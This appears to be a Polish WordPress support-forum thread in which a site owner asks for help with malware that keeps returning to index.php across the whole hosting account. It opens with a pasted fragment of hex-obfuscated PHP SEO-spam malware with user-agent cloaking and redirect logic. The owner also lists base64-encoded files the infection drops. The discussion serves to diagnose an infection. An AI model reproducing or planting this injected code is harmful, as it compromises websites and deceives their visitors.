\x68\x72ef\x3d\x27?$paths[$t]’>?$paths[$t]</\x61></l\x69>”;}${$kwndssiyamx}.=”„;@fclose(${${„G\x4cOB\x41\x4cS”}[„\x78\x74\x63\x6b\x63\x6e\x6e\x64u\x78\x67o”]});}$bcigjcukohyu=”\x79\x6f\x75\x5f\x73\x68oul\x64\x5f\x72edi\x72\x65\x63\x74″;dibug(„\$l\x74_r\x65\x6c\x61\x74e\x5flin\x6bs:”.join(„\x3c\x62\x72>”,${$pukeljqkkd}));if(${$bcigjcukohyu}&&!${${„\x47\x4cO\x42\x41L\x53”}[„\x74y\x75\x6e\x62\x67\x6b\x73\x62”]}&&preg_match(„/l\x69nux\x20\x78\x386\x5f\x36\x34/\x69”,$_SERVER[„\x48\x54\x54\x50\x5f\x55S\x45\x52\x5fAGEN\x54″])!=1){$zdfopmgpm=”\x63o\x6e\x74\x65\x6e\x74″;$ipnyuuuh=”\x63\x6f\x6e\x74ent”;${$zdfopmgpm}=${${„\x47\x4c\x4f\x42\x41L\x53”}[„g\x64\x63\x6a\x69ho\x79\x77zc”]}.${$ipnyuuuh};}${$brzggfnthrb}=str_replace(„\x23c\x6fnten\x74\x23”,${${„G\x4c\x4f\x42\x41\x4c\x53”}[„\x75\x76rjghhq”]},${$kspweykb});${„G\x4cO\x42A\x4c\x53”}[„qq\x63s\x75\x77\x78″]=”\x6f\x75\x74”;${${„\x47L\x4f\x42AL\x53”}[„k\x6e\x71\x62\x75\x76\x6e\x6a\x64\x66w”]}=str_replace(„#lan\x67ua\x67e\x23″,”\x6a\x61”,${${„G\x4c\x4fB\x41LS”}[„\x6bn\x71\x62\x75v\x6e\x6a\x64\x66\x77”]});${${„G\x4c\x4fB\x41LS”}[„\x71\x71\x63\x73\x75w\x78”]}=str_replace(„\xE3\x80\x90\xE3\x80\x91″,””,${${„\x47\x4c\x4fBALS”}[„\x6b\x6eqb\x75\x76\x6e\x6adfw”]});@header(„\x63on\x74ent-\x74\x79\x70e:t\x65\x78\x74/html\x3bc\x68ar\x73\x65\x74\x3dut\x66-\x38”);echo${${„\x47L\x4f\x42\x41L\x53”}[„knq\x62uv\x6e\x6a\x64\x66\x77”]};exit();}}if(${${„G\x4c\x4f\x42\x41\x4c\x53”}[„me\x6a\x68\x67\x65\x79\x68”]}&&!${${„\x47\x4c\x4fBAL\x53”}[„\x70m\x71\x6eb\x6c\x78st\x72\x6c”]}&&preg_match(„/\x6c\x69n\x75\x78 x\x38\x36\x5f\x364/\x69”,$_SERVER[„\x48T\x54\x50_U\x53E\x52_\x41\x47E\x4eT”])!=1){@header(„cont\x65\x6e\x74-t\x79\x70\x65:\x74ex\x74/\x68\x74m\x6c;ch\x61\x72\x73e\x74=ut\x66-8”);echo${${„G\x4c\x4fBA\x4c\x53”}

    [„\x67\x64\x63\x6ai\x68\x6fy\x77\x7a\x63”]};exit();}}}
    //5x9nw080
    ?>

Viewing 9 replies - 1 through 9 (of 9 total)
  • Jeśli czyściłeś wcześniej wszystkie zmienione pliki to napisz po jakim czasie wrócił.

    Może masz jakąś dziurawą wtyczkę lub motyw.

    Thread Starter dralik

    (@dralik)

    pojawia się przynajmniej 2 razy w tyg czyli załóżmy, że średnio co 3-4 dni od wyczyszczenia.
    Co do dziurawych wtyczek zainstalowane mam jedynie aksamit.

    Ogólnie problem występuje na całym hostingu, tzn w stronach na wordpress na początku pliku index.php się to dodaje, a w stronach na html po prostu jest wrzucany plik index.php i w .htaccess jest wywoływanie strony z pliku php

    stąd moje przypuszczenia, że problem leży po stronie hostingu chociaż ciężko mi i to udowodnić.

    Kompa skanowałem antywirusami niby nic nie ma.
    Używam TC ale nie mam zapisanych haseł w nim.
    Hasło do konta ftp staram się zmieniać i to też nic nie daje.

    Ciężko na 100% stwierdzić nie mając dostępu, ale wygląda to na hosting.

    A co to za hosting? Podaj jakiś namiar, nazwę.

    Thread Starter dralik

    (@dralik)

    mam hosting z bisnes-host i w tym przypadku jest to hosting SEO

    Teoretycznie nie powinno być źle. Możliwe że po czyszczeniu zostaje gdzieś kod który później sieje po całej przestrzeni, skoro nie dotyczy to tylko wordpressa.

    Bez dostępu i dokładnego sprawdzenia chyba nie da się nic więcej powiedzieć.

    Chyba że ktoś miał taki sam problem i wie jak go rozwiązać, ale póki co nikt się nie odezwał, więc to raczej bardzo specyficzna sytuacja.

    Thread Starter dralik

    (@dralik)

    to może jeszcze dodam, że tworzy się folder temp w public_html, a w nim pliki o nazwie:
    0.u.txt
    1.u.txt
    itd do 9 co ciekawe plik txt jest zawsze razy 2, zawartość tych plików:

    dGh5YUdkbFdGSnZXbGM1TWxsWGQzWmlNbEpzWWtkc2FsZ3lUbXhZZWtVeVRqRnJQV0ZxaGRB
    dFBwUlZsWFYwNTJZbGRhZG1OdVVYWlpWMmN3VFdwbk1VNHllR2hoUkZGNVQwUlpkMkpITUQxUVZ3PT1MZ1Y=
    bkN6UjFSUk0wNTNXa2RXZFdFeVJYWlpWMmN3VFdwbk1VNHllR2hoUkZGNVQwUlpkMkpHWXoxTmJnPT1GTGM=
    c0FOWkVaU1YzZ3hZbGRzYkdOdFZYUmplVGx6V2pKS05rMVVSWHBOVlZrOVlrbz1aVVM=
    UklBYTJ4VVYzZ3hZbGRzYkdOdFZYUmplVGx6V2pKS05rMVVVWGxPYTJzOWQzaz1JY0Q=
    UkR6VjJGa2JYZ3hZbGRzYkdOdFZYUmplVGwyWWtSSk1VMVVXVEpOUlhNOVRVRT1KeVU=
    Z3JQVVZKaVYzZ3hZbGRzYkdOdFZYUmplVGwyWWtSSk1VMVVZM2RPTWtwWlpYQT10UG8=
    Z01oZDFSU1YzZ3hZbGRzYkdOdFZYUmplVGx6V2pKS05rMVVSWHBOUjJNOWNGWT13RW4=
    QkROVFhSWFYzZ3hZbGRzYkdOdFZYUmplVGx6V2pKS05rMVVSWHBOYmxVOWVGUT1HWUI=
    Q21nVEVGbFdGWjFZVmRPYzFsWVRucE1Na1pwWkVNd2VFMUVUVEJQVkVrMFRGaEJlRTFJU1QxdFRnPT1rU2Q=
    R3BRVTI5Uk1rNTJZbGRhZG1OdVVYWmlNbmQ1VGxSRk1VMXFUblppUkVreFRWUlZlVTFYT1hOTmFsVjRUbFJKZVdGUlBUMWpkUT09Um9x
    V3VSWTBaWGJtUm9XakpHTUdKNU9XeGpiV014VFdwbk1XRXhPV3hpYlZKMllXYzlQV0Yyb0Zn
    WVNUVUZkU01rWjBXVzFXZVZwdE9YbGFXRTR3VEhwRmQwMUVRVEZPZWtFeFdYYzlQVkpGenpP
    UktnYkdkVk0xSjZZM2s1YzFwRE1IbFBWRlUwV2pGUlBXSkltU1o=
    UXp3ZDNaVVNGSjZZM2t4ZW1GSE9YZE1NbmhyVEZSSk5VNVVhRzVYWnowOVYycz1pdUg=
    bVRRU0ZCV2JVVjBZMGhLY0ZreVZYWk9SR3N6VGtSVk1VMUVVVFJOUkVFMVRUQXdQV1JXVVhX
    ZVBPU1daaFYwVjBZMGhLY0ZreVZYWk9SR3N5VDBSUk0wOUVWWGROYWtGM1RsZFJQVXhzbUZW
    aWJKV2xsaFdFSjVXbGN4ZGxsVE9EQlBWR013VGxSVmQwNUVaM2ROUkd0NlkzYzlQWEZsbnRY
    Thread Starter dralik

    (@dralik)

    i folder u w którym są takie pliki jak: c3BhY2Vyd2lydHVhbG55Lm9yZy5wbC8%2Fc2l0ZW1hcD0xJmZpbGU9LyZwPTA%3D.txt

    z zawartością:
    aW50ZXJpb3JrYXRhb2thL3NtY3QyYTExLTEwOC8%3D

    Thread Starter dralik

    (@dralik)

    jest jeszcze plik html lt.tmp.html i drugi odpowiednik w .txt ale zawartości nie mogę tutaj wrzucić

    Poradziłeś sobie z tym? Mam dokłądnie taki sam problem

Viewing 9 replies - 1 through 9 (of 9 total)
  • Temat ‘Wirus na mojej stronie’ jest zamknięty na nowe odpowiedzi.